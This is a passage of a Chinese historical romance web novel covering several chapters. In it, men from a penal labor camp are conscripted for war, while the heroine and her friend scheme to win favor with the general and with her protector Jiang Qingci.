云舒月无奈地摇摇头,这种情况,谁不是想方设法地攀关系呢。 不过江清辞都发愁的事情,阚承颜自然也没有办法。 不过云舒月替谭君雅想到个办法。 她一把将谭君雅从阚承颜身前拉开,再看江正泽的模样,愁眉苦脸的,想是被谭君雅给为难坏了。 “舒月,你干嘛拉我,对了,你家肯定没事儿吧,江清辞会帮你的。” 云舒月摇头:“你想多了,江清辞与武将军不熟,帮不了我。” 云舒月打量着谭君雅曼妙的身姿,体态丰腴,腰肢又细得恰到好处,把自己裹在一件嫩黄色交领襦裙里,那模样别提有多娇媚了。 就算她面上还发着愁,随便一次顾盼,还是有着说不出的动人韵味。 云舒月道:“我替你想了个办法,你别勾搭阚承颜了,他就是个木的。” 谭君雅愣愣道:“那我怎么办呀,谁还能帮我?” 云舒月跺脚:“你直接一步到位,去勾搭武将军呀!” 万物皆可为我们女子所用,云舒月深谙此理,谭姐姐有这条件,不勾搭难道白白放着? 那不浪费她一身容貌嘛。 谭君雅恍然大悟:“你说得有道理啊,我只是想救我的父兄,若能顺便给我自己找个靠谱的靠山,那妥妥的。对了,武将军长得好看吗?” 云舒月摇头:“我也没见过,不过武将……应当都生得五大三粗的吧。” 谭君雅摆手道:“没关系,男人不管长成什么样,能用就行。” 云舒月只道:“若事情能成,别忘了帮我家里也说说情。” 就算最后不得不上站场,有人罩着那也是不一样的呀。 这般想着,云舒月回了家,家里人也听说消息了。 “我已经跟江清辞说好了,父亲,哥哥,你们俩今日先去后山的山洞里躲躲,武将军那里,江清辞会替你们说的。” 先把这一轮躲过去,待大军开拔了,再想办法找补。 云明旭果然吓坏了,见父亲在屋子里踱来踱去的走动,手还发着抖,云舒月也心疼坏了。 她的老父亲呐,何曾受过这般惊吓。 当初皇上要降罪于云家,要流放还是要砍头,也就一句话的事儿,可这是上战场。 就是那种,或许努努力便能捡回一条命的无力感,最是折磨人了。 倒不如听皇上直接宣判,要他们死呢。 “这可如何是好,这可如何是好……” 云明旭眼中满是惊惶与无助,柳姨娘和王姨娘两人在一旁也看得直着急。 “老爷这般老骨头了,哪里经得起折腾,二小姐一定要好好向江三公子求求情啊。”柳姨娘这般道。 云舒月闻言有些心烦,江清辞若能帮,能不帮嘛。 “我与江清辞已经商量好了,父亲,你就先与哥哥一起,躲到后山去,别怕。” 虽说叫他别怕,但云明旭还是怕的很,额头上布满了汗珠。 他道:“既是已经与江三商量好了,我便没什么可怕的了,云鸿祯,快,快来搀着我,咱们上后山躲着去,千万别被那武将军抓去了。” 云舒月看着父亲这般模样,心中如刀绞一般,再次安慰他道:“父亲,没什么好担心的,再不行,我将你们送到夜郎国去便是,总能先保下一条命来。” 云舒月可不管什么叛不叛国的,她要她一家人都好好活着。 云明旭逐渐冷静下来,眼中的慌乱稍稍褪去了一些,伸手去揽云鸿祯的肩。 “走,你妹妹都替咱们想好后路了,咱们先走。” 怎料云鸿祯一把躲开父亲的手,一脸坚定:“父亲,要躲你躲去吧,我要上战场去。” 云明旭被云鸿祯这一躲,愣在了原地,脸上满是惊愕,怒斥道:“云 鸿祯,你说什么胡话?战场岂是儿戏,那是要丢性命的!” 云舒月也瞪大了眼,上前一步,沉声道:“阿兄,别这样。” 云鸿祯梗着脖子,眼神中透着从未有过的坚定:“父亲,妹妹,我意已决。这些日子在牢城营,我看着大家受苦,心里一直憋着一股劲儿。如今有机会上战场,杀敌报国,洗刷我们云家的耻辱,我怎能退缩?” 云舒月倒退了两步,张了张嘴,有话说不出。 “阿兄,别做傻事,你若是死在了战场上,别人只会越发笑话我云家。” “那若是,我立了军功回来呢?”云鸿祯看向妹妹。 云舒月无话可说,可没什么军功是值得拿命去搏的。 云明旭气得脸色铁青,手指颤抖着指向云鸿祯:“你,你这逆子,糊涂啊!咱们云家好不容易有了转机,你却要去送死,你对得起你妹妹吗?” 第58章 第58章谁也逃不掉 云舒月眼眶泛红,她看哥哥,像是做了决定便无论如何拉不回来的样子。 “哥哥,妹妹求你,好好躲起来,避过这一次吧。” 林书柔在一旁直叹气,云明旭指着她对云鸿祯道:“你看看你母亲,你对得起她吗?” 林书柔连连摆手:“别提我。” 云明旭气得吹胡子:“那你要如何,儿子你还要不要了!” 林书柔叹了声气,道:“他若是非要去,咱们做父母的,别拦他。” 王姨娘也忙道:“大公子,别做傻事,命才是最要紧的。” 云明旭难以置信地看向夫人:“你……你这是什么话,咱们可就只有这一个儿子!” 林书柔眼中含泪,缓缓说道:“够了,真的够了,为何一定要与命运抗争呢?我只是在想,皇上下了旨意,他该去罢了,像你那样躲起来,只是给咱们家多添麻烦,难道你就看得惯云二每日去求江三公子吗?” 她倒一直情愿做着牢城营最平凡的一个罪犯,该做什么就做什么。 云明旭指着她鼻子道:“你,你简直不可理喻。” 保命是人最基本的本能,瞧瞧她说的什么话。 云舒月心中满是苦涩,她没想到,自己明明已经费心筹谋了这么久,为何事情总是朝乱七八糟的方向发展。 “哥哥,你若是死在了战场上,妹妹以后被旁人欺负了,也只能自己哭了。” 云舒月不是故意说这样难听的话的。 云鸿祯拉住她的手道:“妹妹,我一定会活着回来,我要挣回军功,给你荣耀。” 听他这么说,云舒月还能说些什么,只好苦笑两声,缓缓抽出手。 家中人见他如此,便都不再劝了。 云鸿祯咬牙道:“你非要去是吧,好!老子陪你去!躲什么躲,我也不躲了!” 林书柔仍没什么反应,照她看,两人本就是该去的。 云舒月张大了嘴:“父亲,你跟着发什么疯?” 云明旭满脸涨红,胸膛剧烈起伏,显然是被云鸿祯气得不轻,刚刚脱口而出的,应当是气话。 “我不能眼睁睁看着我儿子去送死,我一个当爹的,躲躲藏藏像个什么样子,既然拦不住他,那我就陪他一起去。” 云鸿祯看着父亲,眼中闪过一丝诧异,但很快被坚定所取代:“父亲,那就这么说定了!” 云明旭被他这话一惊,脸上有些错愕,他儿子,他儿子怎么这样? 都这样了,还不松口? 云鸿祯又道:“父亲能和我一同前往,真是太好了。” 云舒月只觉一阵天旋地转,她看向母亲,眼中满是求助。 王姨娘也给吓傻了,她扶着大肚子:“老爷,别冲动啊!” 云明旭本只是想吓唬吓唬儿子,好叫他收回心思,可对方并未给自己台阶,他一下子被架起来了。 王姨娘在一旁急得直跺脚,云舒月彻底傻眼。 “老爷,大公子,这可使不得啊!大公子你劝劝姥爷,你们两个人都去了,这家里可怎么办?” 云明旭此时反倒镇定下来:“王姨娘,你照顾好夫人和二小姐,把家里守好,我们父子俩,定能平安归来。” 说完话,云明旭眼角渗出泪来,两只手还不停发着抖,是真的怕得不行。 他一边擦泪,一边说着。 云舒月彻底无话可说,向后跌倒在椅子上。 她目光呆滞地望着屋顶,林书柔默默走到她身边,轻轻抚摸着她的头发,动作温柔极了。 王姨娘在一旁一边落泪一边哀求:“夫人,二小姐,再劝劝老爷和大公子吧。” 云舒月摇了摇头,呆滞了半晌,过了很久,像是突然下定了什么决心。 “父亲,哥哥,既然要去,就别给我空手回来。” 云明旭的脸色很不好看,他并不想去,起初只是为了逼迫儿子改变主意,后来他还指望着女儿劝他,却没想到,女儿劝了两句,就不劝了,反过来还对他寄予了厚望。 云舒月站起身,伸手拍了拍父亲的肩:“父亲,女儿会为你祈祷的。” 此时,屋外传来一阵急促的脚步声,江清辞神色匆匆地走进来:“门卫来报,武将军已经快到了,你们俩收拾收拾,跟我躲后山上去。” 他神色焦急,发誓定不让月儿忧心。 可再一看云家人的面貌,江清辞心底咯噔一声:“伯父,怎么了?” 云鸿祯道:“江三公子,我们要上战场去,为国奋战!” 江清辞眉头紧锁,看向云舒月:“月儿。” 云舒月摊了摊手:“让他们去吧。” “伯父,鸿祯,战场凶险,你们从未经历过战事,只怕一时冲动了。” 林书柔道:“江三公子,劳烦你费心了,不过,他们二人就算不去,这牢城营里其他的人也得去,难不成,大家的命就不是命了吗?” 云鸿祯坚定道:“我心意已决。” 云明旭并未开口说话,而是低下了头。 他心想,若江清辞再劝他几句,他也就顺水推舟不去了,他是真不想去啊,儿子劝不动就算了,反正自己的命最重要,更何况,王姨娘肚子里也还有一个呢。 江清辞虽面露无奈,但嘴上却没有再劝:“那好吧,我会尽量向武将军打声招呼,好叫他照顾着你们些。” 没过多久,武将军的队伍进了牢城营,各家各户都是哭天抢地,整个牢城营的气氛紧张压抑。 又过了一会儿,士兵们在营地中央来回奔走,怒吼着男犯们迅速集合。 “动作麻利些,别磨蹭!”声音粗粝而洪亮,带着些不容置疑的威严,在空气中震荡。 云鸿祯早就准备好了,带着父亲就要出去,林书柔赶着给父子俩最后再收拾些行李。 牢城营内许久未响起的皮鞭声又开始发出“咻咻”的声响,在空中划出一道道凌厉的弧线。 尽管再不舍,男犯们从四面八方的草屋、石屋内不断涌出,谁走得慢了些,皮鞭又会挥到身上来。 有的脚步踉跄,有的紧紧攥着衣角,嘴唇颤抖,队伍歪歪扭扭,如同一条蜿蜒的长蛇。 此时,营地中央的旗杆上,一面破旧的“武”字军旗在风中猎猎作响,其上还布满了猩红的血迹。 云舒月抵在自己院门口,目送父兄走出去,越走越远,回首时,林书柔抹了眼角的泪。 在一片嘈杂与混乱之中,远处突然传来一阵沉闷有力的马蹄声,由远及近,犹如阵阵闷雷在人耳边炸响。 云舒月抬头望去,那位骑在一匹黑马上的人 ,应当就是大名鼎鼎的武将军了。 那骏马扬起层层尘土,鬃毛随风飞扬,云舒月觑着眼,武将军身着黑色铠甲,反射出冰冷的光。 武将军稳稳地坐在马背上,眼神犀利如鹰,目光从每一个男犯脸上扫过,凌厉眼神快要将人灼伤,短暂的沉默后,他深吸一口气,胸膛剧烈起伏,随后从他那坚硬的胸膛中爆发出一声震耳欲聋的怒吼:“开始点人!” 声音带着让人胆寒的威力,在空中久久回荡,云舒月身子往回缩了一缩,一阵后怕,她总觉得,如果自家父兄的名字被点到了人却不在,这位武将军会把整个山都掀过来找人,然后一刀砍死他们。 牢城营内顿时鸦雀无声。 随着一个个名字被念出,谭君雅迈着小碎步找上了云舒月。 谭君雅刚换了身颜色鲜艳的,能把腰肢勾勒得十分纤细的衣裳。 “你出的什么馊主意,那个武将军,我压根就不敢靠近他,我怕他一刀把我削成两半。” 云舒月淡淡瞥了她一眼:“他虽然肯定不会把你削成两半,但我也不建议你去了,你就当,上战场是这些男人的命吧。” 谭君雅点头:“我觉得也是,我只能在家中,多为父兄祈祷一番了。” 随着点兵文书的翻动,每一个名字都被高声念出,谁也逃不掉。 云舒月站在一旁,眼睛一眨也不眨地盯着,江清辞就站在武将军旁边。 江清辞衣袂随风轻轻飘动,像山间缥缈的云雾,双手交叠在身前,身姿挺拔,又带着文人特有的柔和,仿佛一阵风便能将他吹倒,此时,他微微皱着眉头,眼神中满是忧虑,嘴唇紧紧抿起,看向云家父子的方向。 而他身旁的武将军,身形魁梧壮硕,像一座移动的山,脸庞方正,浓眉大眼,让人望而生畏。他从马上下来,双手背在身后,双脚稳稳地站在地上,仿佛扎根于大地。 “云明旭!”武将军身旁小卒的声音如洪钟般骤然响起,在这死寂的营地中格外刺耳。 云舒月只觉眼前一黑,身体晃了晃,险些摔倒。可她还没忘了关注王姨娘,王姨娘可倒不得。 “四妹,你赶紧扶你姨娘回房间休息去。” 而云明旭,在听到自己名字的那一瞬,身子猛地一僵。 “云鸿祯!”几乎是在同一瞬间,第二个名字接着响起。 云鸿祯眼中闪过一丝坚定,他转头看向父亲,目光交汇的刹那,云明旭双腿直发抖。 云舒月闭上眼,除了祈求,什么也没法做。 云鸿祯伸出手用力扶住父亲,云明旭在感受到儿子那健硕的大臂时,瞬间觉得自己像只寻求大鸟庇护的小鸟。 “好儿子,为父这一程,就指望你了。” 武将军在高台上,看到这一幕,眉头极浅的皱了一下,他最烦这种哭哭啼啼的男人了。 “等到分营的时候,务必把每一家人都拆开。” 一旁的小卒忙道:“是。” 武家军威严的名声,不容这些罪犯捣乱。 云舒月在自家院子里托腮发呆了很久,直到傍晚,江清辞才来找她。 第59章 第59章从小琢磨如何利用男人…… “月儿,抱歉。” 第一句话是道歉,云舒月缓缓抬起头,目光落在江清辞身上。 她的眼神有些空洞。 “清辞哥哥,你为何道歉?”她的声音带着一丝沙哑,像是许久未曾开口说话。 今日家中冷清极了,明明只走了两个人。 父亲一走,柳姨娘便不露面了,王姨娘回房休息了。 江清辞走上前,在她身旁坐下,轻轻握住她的手:“你放心,他们不会有事的,我问了武将军,这次的男犯,大多会被安排进炊事营、辎重营和工兵营,武将军极擅打仗,断不会胡乱安排人前去送死,这样反而损了士气。” 听他这样说,云舒月多少松了一口气。 “父亲还好,他惯会趋利避害,我担心的是哥哥,哥哥最傻了,说不定主动要上前线去。” 云舒月咬紧下唇,心里已经下定了主意不再想这件事了。 生死有命,富贵在天,她已经尽了全力,剩下的日子,她还是要好好筹谋自己。 她悄悄侧眸打量江清辞,没了父兄撑腰,她又该如何待他。 世间没有亘古不变的情感,往后她待他,只会更加小心,这不是一种恭维,这是一种自我保护。 接下来的三天里,牢城营变得忙碌起来。 云舒月与家人照旧每日下地干活,远处被圈起来的营地里,士兵们已经整备起来。 云明旭和云鸿祯被编入了不同的小队,与其他男犯一起接受着急促而粗糙的军事训练。 好在武将军还算周全,特地选了一位身形矫健、经验丰富的老兵负责教导他们。 云舒月趁着黄昏从地里回家前,会经过营地,透过铁网往里看一看。 官兵们大声呼喊着指令,将一坤坤兵器从库房中搬出,整齐地排列在空地上,刀刃个个闪烁着森冷的光。 谭君雅提着一个竹篮凑到云舒月身旁:“你在看什么呢?” 里面那位老兵不断示范着握刀、刺击、格挡的动作,“握紧了,这刀就是你们的命!战场上,生死就在这一念之间,一个失误,脑袋就没了!” 云鸿祯努力模仿着老兵的动作,他光有一身力气,却没有太多技巧,此刻只能尽全力抓住着尺璧寸阴的时间熟练。 云鸿祯却是越学越恐惧,拿着刀的手不住地颤。 看得营外的云舒月干着急。 “我看他们适应得如何了,你瞧我父亲,怎么那么笨呐。” 谭君雅摇摇头:“别看了,看多了忧心的是你自己,等到了战场上,云伯父那样的人会知道该怎么保命的。” 谭君雅这般说着,一边掀开竹篮的盖子,往营门处走去。 不一会儿,武将军带着手下正好从里头出来。 “将军操练他们辛苦,奴家特地做了茶,将军润润口。” 云舒月看得目瞪口呆,真不愧是谭姐姐啊。 武将军闻声,先是蹙眉,哪里来的女子,真是放肆。 他目光落在谭君雅身上,谭君雅托茶伸出的手顿在半空,收也收不回来,那目光实在渗人,像针扎在她头皮上一般,但她为了父兄,不得不这么做呀。 她只是递个茶而已,终归没有做错什么,武将军就算不领情,也不至于做出什么要她命的事情。 武志远无声打量着她,从她微微颔首的头,到那恰好伸出衣袖一截的皓腕,再到那捏着茶杯恰到好处弯曲的骨节,再到那微微屈膝而显得更加婀娜的腰肢。 打量完后,他手一挥,谭君雅连同着茶杯一并被掀翻在地。 茶香升腾而起,茶水瞬时四溅,打湿了她的衣衫,谭君雅狼狈地趴在地上,强忍着屈辱,没有发出一丝声响。 云舒月在一旁越发看得目瞪口呆,这个武将军,真是太过分的一个人了!就算他站在江清辞旁边比江清辞足足大了一圈,云舒月也觉得,他浑身上下没有哪一点比得上江清辞的! 云舒月想要冲过去,出于理智,顿住了脚。 谭君雅心底怨恨十足,就算她再是为了替家人求情而来,摆在明面上的也是一番好意,他何至于此。 但她垂首并不语,这种时候,无论是楚楚可怜地示弱,还是义正言辞的质问,她猜测都得不到好结果。 武志远冷哼一声,眼神冰冷,仿佛一眼能看穿她的心思:“军营重地,岂容你随意出入,肆意妄为,你贸然出现,扰乱军心,本将军没治你的罪,已是手下留情,你好自为之。” 说完,他迈着极重的步子绕过谭君雅。 听完这番话,躲在背后的云舒月早已气得浑身发抖,谭君雅却唇角微勾。 推了她,虽然很不讲道理,但又解释了这么一番话,这话听似凶凶巴巴,却是在向她解释。 真正不讲理又说不通话的男人,是不会说这么多话出来的。 人一走,云舒月连忙出来扶她 :“谭姐姐,你没事吧。” 谭君雅撑着她的手起来,摇头道:“我没事。” 又见云舒月一直盯着她神色看,谭君雅失笑道:“我真没事。” 云舒月叉腰道:“这人也太不讲道理了,不过谭姐姐,看来他这条路走不通了,此人极难搞定。” 难怪连江清辞都拿武将军没办法。 谭君雅却道:“依我看,他比阚承颜更好搞定。” 比起面上温润笑着看似对她无有不应,实际上却一点没对她敞开心扉的阚承颜,还有另一种人,那就是表面上凶神恶煞,丝毫不通融,那是因为他行事自有一套准则,至于他心里,大抵是没有外表看上去那么冷硬的。 云舒月不是笨人,都是从小琢磨如何利用男人的,只是她只琢磨了江清辞一个,也只能读懂江清辞的喜怒,读不懂别的男人。 还是谭姐姐全面,就该她过得好。 听她这样说,云舒月就知道有戏:“那谭姐姐,接下来一步怎么做?” 谭君雅无奈道:“我还没想好,说真的,他这人是有点难搞定,我怕把人惹急了,直接提刀砍我。” 云舒月唉声叹气:“我父亲看起来在军营里极为不适应,我很担心他,若真的能求武将军照顾一二,那就好了。” 谭君雅也道:“若不是忧心家人,谁愿意与那种人打交道呢。” 云舒月鼓励她:“谭姐姐,我觉得你可以的,你若是有什么需要帮忙的,尽管告诉我。” 谭君雅扯起嘴角,朝她笑了笑:“嗯嗯。” 云舒月往家走的路上,看见营地的另一侧,有士兵正把牢城营内刚收成的一袋袋干粮、一坛坛清水装上马车。 她皱着眉头,自己每天那么辛苦地下地干活,就是为了这个。 皇上要打仗,要实现大一统,就要拿他们这些人的命去填。 云舒月头一次觉得,自己的命运好悲惨。 “月儿。” 云舒月回头,江清辞从山巅上徐步走下来,日光为他勾勒出一圈柔和金边,衬得他一袭长袍愈发飘逸出尘,每一步都迈得沉稳而优雅,乌发在微风中轻轻飘动,露出如玉般温润的侧脸,双眸明亮而温和。 云舒月突然觉得,上天待他极好,她有些,嫉妒他。 此时,他正目不转睛地看着她,仿佛世间喧嚣皆与他无关,眼中唯有她的身影。 云舒月唇角扬起一抹恰到好处的温婉微笑,声音清甜:“清辞哥哥。” 江清辞拉起她的手:“吃饭了吗?回我那儿吃。” 云舒月这几日不常来找他,他想,她家里应是事多。 云明旭与云鸿祯都已进了军营,事情再无转圜余地,他们这些人,还是应当正常过日子才是。 云舒月摇头:“王姨娘这几日犯恶心犯得厉害,没有力气做饭,我母亲她们每日去排队领着饭吃。” 牢城营的伙食虽比家里要差,但现在谁也没功夫嫌弃饭菜,每日能填饱肚子也就是了。 江清辞轻声道:“那你想吃些什么,我好提前叫厨房准备。” 云舒月道:“我爱吃什么,清辞哥哥知道的。” 江清辞颔首:“那就,还是那些。” 夜晚,云舒月躺在江清辞的床上,望着窗外的月光,难得的没有什么思绪。 “明日大军便要开拔了吗?” 江清辞站在水盆前,拿毛巾擦了手,点头道:“是,你父亲才炊事营,你哥哥在工兵营,别担心,我叫祈言送了两副金丝软甲给他们,只要不是正面迎敌,保命不难。” 云舒月摇头:“我没在担心他们了。” 担心是最无用的情绪。 江清辞沉默了良久,又道:“皇上的旨意是,凡是能从这次战场上回来的,没有做逃兵的,皆可宣判无罪。” 云舒月眼睛亮了一瞬,随后又熄灭。 皇上既然愿意下这样的旨意,那就只能说,能回来的人少之又少了。 她更容易猜想到,武将军会不会领了皇上的另一道旨意,要有意控制这些男犯的存活率,甚至谁能活,谁不能活,在皇上那里是有名单的。 “清辞哥哥,那你觉得,在皇上的心里面,看我云家如何?” 云舒月小心问道,她害怕听到答案。 第60章 第60章他要她的爱 江清辞走到床边,在云舒月身旁坐下,他微微皱眉,思索片刻后说道:“月儿,皇上心思向来难测,但依我看,皇上或许不会刻意针对云家,若是想针对的话,当初你们一家也不会顺利流放至此。” 他更倾向于,皇上对云家是持毫不在意的态度。 云舒月微微点头,起身搂住江清辞的脖子,她不想去想那些了,江清辞对她好,待她家人也好,依她的训江术,是应该给他一些嘉奖的。 她唇贴在他脖颈处,感受着其下那一阵一阵的温热生机,手柔柔放在他的腰上,轻轻一拽,腰带就掉了。 江清辞身体僵了一瞬,呼吸变得沉重了些,云舒月依偎在他怀里,动作做得熟练又轻巧。 他双手下意识地环住她的腰肢,声音略带沙哑,“月儿……” 云舒月仰头,轻轻吻上了他的唇。 江清辞一边回应她,一边把她往下放,叫她头靠在枕上。 云舒月缓缓躺下,两只手还搂着他的脖子,双唇一下又一下地吸吮着他的。 她的手在他腰间游移,他捉住她的手,忽的松开唇,眼神中满是深深眷恋,注视她:“月儿,现在别……” 云舒月顿住动作,许是自己的动作太过生硬,叫他察觉了。 他不愿这样。 云舒月心中涌起一丝失落,眼神黯淡下来,她微微别过头,试图掩饰自己的难堪。 她只是,她只是,极没有安全感,江清辞如今已是她唯一能攀附的人了。 她再聪慧,一个女子,在这世上,还能如何谋求生路呢。 江清辞看着她的模样,心中满是心疼。他轻轻捧起云舒月的脸,让她再次看向自己,目光温柔且坚定,“月儿,别做自己不情愿的事情。” 云舒月眼眶含泪,抬眸看他:“我没有不情愿。” 江清辞凝视着她,拇指轻轻摩挲着她的脸颊,擦去那要掉不掉的泪珠,声音轻柔却又不容置疑:“我知道你在害怕什么,你不必怕。” 他从不想他们二人之间的心意是建立在这样仓促交付的亲密之事上,他要真心实意的交付,是坦然面对彼此。 云舒月避开他的目光,咬了咬下唇,她所能给他的,也只有这些呀。 难不成,他要她的真情,要她至死不渝的爱? 她给不了啊。 越是这样的时候,她心里摸不着底的时候,她就越不能陷入那些名为“真心”的陷阱。 云舒月还是云舒月,只谈权衡,不谈感情的云舒月。 江清辞微微用力,让云舒月不得不正视自己,语气依旧温柔,却带着几分不容闪躲的执着:“我不需要你做什么,我只要你相信我。” 云舒月听着他的话,心中泛起一阵酸涩,她信吗?她只信白纸黑字的画押,只信谁也夺不走的尊贵地位,而不信如今的江清辞。 但她面容却化开了,眼神中恰到好处地露出感动,鼻尖抽噎着:“清辞哥哥,你真好,月儿当然相信你。” 白纸黑字的画押,他们也是有的,那张婚书不就是吗,云舒月心里稍安,那是她寻不到更好出路时的底牌。 她头埋在江清辞的胸口,说不出的温顺乖巧,满身的依赖,江清辞下巴抵着她的额头,还是蹙起了眉。 第二日一早,大军就要开拔,那些官兵从牢城营内搬走了很多粮食。 江清辞身穿玄色官服站在山脚下,武志远骑在高头大马上俯视他。 “还不打开营门,江校尉可是还有什么吩咐。” 江清辞背着手道:“这些都是我牢城营的壮劳力,还望武将军将他们活着带回来。” 武志远冷哼一声,勒紧缰绳,战马不安地刨着蹄子。 “战场之上,生死各安天命。”说罢,他目光扫视着整装待发的队伍。 江清辞微微皱眉,上前一步:“素闻武将军善战,排兵布阵定不会叫人白白送死。” 云舒月与母亲站在一处,遥遥望着队伍,寻找着父亲与哥哥的身影。 武志远面上似笑非笑:“江校尉,你倒是菩萨心肠,不过这战场上瞬息万变,本将军首要任务是克敌制胜,不是保全他们的性命。” 此时,营门缓缓打开,一阵尘土飞扬,士兵们扛着兵器、推着辎重车鱼 贯而出。 那一小块由牢城营男犯组成的队伍,皆身着简易铠甲。 云舒月见到了父亲和哥哥,目光焦急地向前一步,并不敢太过上前。 怎料,谭君雅拎着包袱冲了出去。 “父亲——兄长——” 她哭着跪扑在前,双手托上一只包袱:“女儿做的米糕,你们拿着路上吃。” 谭聪健捂着脸哭,父女俩被官兵拦着,不得相碰。 感动与心疼之余,谭聪健不禁在想,自己女儿何时会做米糕了? 谭君雅哭得梨花带雨,抱着包袱想往里冲,被官兵一个剑柄掀翻在地。 她也不使蛮劲儿,就地倒下了,捂着脸哭得那叫一个可怜。 包袱里的米糕都滚落出来,云舒月猛吸了一口,好香的米糕味! 这味道瞬间在空气中弥漫开来。 谭聪健望着地上散落的米糕,泪水不受控制地夺眶而出,不管女儿是怎么做出这么香的米糕来的,这都是女儿的心意! 武志远将马行至她跟前,冷声道:“又是你,把她拖走!” 谭君雅泪珠在眼眶里打转,楚楚可怜的、手无缚鸡之力的,柔柔弱弱的被人拖走了,还不忘高声大喊:“父亲!哥哥!你们保重!” 这场景极为令人感动,不少牢城营中剩余的家眷都落了泪。 可惜武志远是个钢铁心肠,身下的马蹄碾上了那一摊米糕。 谭君雅见状,倒也不心疼,都是镇上老字号买的,可谭聪健见了,眼泪哗哗地流。 一被马蹄碾碎,扑鼻的米糕香气钻进了武志远的鼻腔里,那是一股朴实而清甜的香味,是最纯粹的粮食的味道。 谭君雅伸手揽过那些碎渣子,一边轻声道:“真是可惜了这些粮食了。” 武志远虽面无表情,这一瞬间也不得不想,自己损坏了好端端的粮食,倒是自己不对了。 这般想着,他俯视谭君雅,面容冷峻如霜,又多说了番冷硬的话,声如洪钟,字字透着不容置疑的威严:“此乃大军开拔之地,岂容你在此扰乱秩序,莫要误了军机大事,还不速速退下。” 谭君雅心里打着鼓,也不知自己这一番,能否叫武将军对自己父兄怜悯些。 但她也知不该再多做什么了,便顺从地退下了,这退下的身姿,仍是摇曳生姿的。 云舒月拉住她,小声道:“谭姐姐,若早知你这么做有用,我也去了。” 谭君雅眼睛一亮:“你觉得有用?” 云舒月点头:“肯定有用!那武将军脸色都不如前日那般了。” 谭君雅眼底亮起的光并没有亮多久,逐渐又熄灭了:“有一点用算一点吧,只要他不是真的铁石心肠……” 她此招是带了赌性的,若武将军就是一个坏人,只怕更要叫她父兄去送死了。 可经过上次的试探,她更愿意相信,他大抵是个好人的。 晨曦如纱,轻柔地披在牢城营的大地上,沉闷的战鼓声一下下敲在众人的心坎上。 云舒月与家人和姐妹站在一起,一直目送父兄远去。 从今日起,她不会再祈祷他们平安回来,她要等着他们立功回来。 事情有坏的一面,就有好的一面,若是父亲从前的过错一定要靠折磨他们一家来弥补的话,她希望这一次过后,再无人说她家有罪。 队伍中,云鸿祯挺直腰杆,紧握着腰间被分配到的佩刀,而云明旭仍是瑟瑟缩缩,与他周围的老爷们并无二致,倒也相配。 大军扬起的尘土遮天蔽日,越走越远,云舒月便往山坡上跑去,紧紧握着拳头,穷尽目力到再也看不见。 那些人走后,牢城营像是被抽去了生机,陷入死寂,原本充斥着嘈杂人声与劳作声响的地方,如今空旷得有些吓人。 这统领牢城营的最高官员,江校尉如今也失落得很。 本该热火朝天地安排下一季劳作任务了,却难以开口。 云舒月拖着沉重步伐回家,一路上,风声在耳边呼啸,踏入家门,熟悉的院子此刻显得格外冷清。 林书柔扛着锄头独自下地去了,王姨娘仍在房内休息,否则今日那般景象,怕是会叫她动了胎气。 云舒月再往里望,没在“正堂”看见父亲倒在躺椅上喝茶,柳姨娘替父亲捏肩的身影,怔了一瞬, 她缓缓走到主位上坐下,环顾四周,这把太师椅,还是从江清辞的那里搬来的,当时父亲见到喜欢得紧,还挑剔了两句:“可惜不是乌木的,你父亲我独爱乌木。” 江清辞的东西都轻便简洁,不像云家从前,专用奢靡富贵之物。 所以从他那里拿回来的东西,常不得父亲十分喜爱。 但比起哥哥编的藤椅、打的木椅,还是要喜欢得多。 窗外,天色渐暗,云舒月深吸一口气:“云梓莹,云千雁,你们二人带着碗碟去打饭。” 家里这么多人,不能照顾不好一个有孕的王姨娘。 王姨娘从床上起来,按照老爷的吩咐,这个家可得她照顾着点呢。 “二小姐,我做饭吧。” 云舒月将她摁回去:“家里这么多人是干什么的,你好好休息便是了。” 云梓莹和云千雁捧着碗碟就出去了。 王姨娘却道:“牢城营里发的饭不好吃,二小姐,我怕你吃不惯。” 她执意要撑起身子来给云舒月做饭,灶台上摆着一条极为漂亮的五花肉。 60-70 第61章 第61章“好孩子,累着了吧,吃…… 云舒月望着那个大肚子,心里忐忑极了,可转眼望见那条五花肉,又咽了咽口水。 王姨娘的手艺确实好,配上绿色辣椒炒出来的小炒肉油滋滋的,好吃得不得了。 说起辣椒,云舒月从前在京中时口味清淡,食欲也轻得很,一顿饭清汤寡水的几乎吃不下多少。 可自从来了黔州,又去夜郎国走了一趟,尝遍了各种辣椒,还有夜郎国的各种辣酱,红油的、豆豉的,还有一种尤其美味的枸酱。 云舒月彻底爱上了这种复合又麻辣的味道,是口中各种刺激香气到处乱撞的滋味。 “那好吧,王姨娘,那你慢着些。” 云舒月心里发誓,等王姨娘肚子里的弟弟或是妹妹出生了,她一定把他当成嫡亲的弟弟妹妹疼爱。 这是她一惯私心里少有的愿意付出的心理。 王姨娘身形略显臃肿,却因为二小姐一言,动作娴熟地在灶台前忙碌起来。 她的肚子微微隆起,每挪动一步都稍显吃力,可眼神专注,透着对灶台的认真。 随着菜刀有节奏的起落,五花肉被切成厚薄均匀的肉片,云舒月托腮在一旁看着,不时地咽一咽口水,肚子咕叽叫了起来,期待得不行。 切好肉片后,王姨娘微微侧身,费力提起一旁的铁锅,架在炉灶上,倒入些许自己压榨的菜籽油,随着油温升高,锅底泛起细小的油花,她轻轻将肉片划入锅中,“滋滋”声瞬间响起,肉片在热油中迅速变色,边缘微微卷起,呈赤褐色,油脂被逼出的同时,发出“噼里啪啦”声。 王姨娘手持锅铲,动作娴熟。 “去地里拔两根小葱。” 云舒月愣了愣,起身往地里走去。 王梅英这才捂住嘴,倒是说习惯了,还以为使唤的是自己女儿呢。 她忙抬头,想找补两句,向二小姐赔个笑脸,没想到二小姐已经从地里拔完葱回来了。 “给,王姨娘,需要洗一下吗?” 王梅英点点头,伸手正要接过,云舒月又自顾自拿着葱蹲到水盆旁洗去了。 小葱根部有些泥,云舒月用白嫩嫩的手浸在水盆里,细心搓洗着。 没有做过饭的人,洗菜都洗得特别仔细,毕竟是自己待会儿要吃的。 王梅英吓了一跳,怎能让二小姐做这些,可灶上的火候还需要她一直看着,走不开,只能任由二小姐干活。 王梅英看着二小姐蹲在水盆旁认真洗菜的模样,心里五味杂陈,她心里隐隐有些不安,一家人身份阶级明确,怎可……怎可…… 调停者锅里滋滋作响的肉片, 王梅英将辣椒和豆豉倒进去不停翻炒,不一会儿,云舒月把洗好的小葱拿过来。 王姨娘把小葱三两下掰成小段,待肉要出锅时,一把下进去,便可以盛菜出来了。 就在这时,去营地里打饭的云梓莹和云千雁抱着饭盒回来了。 “好香啊,姨娘,你怎么又下厨了。” 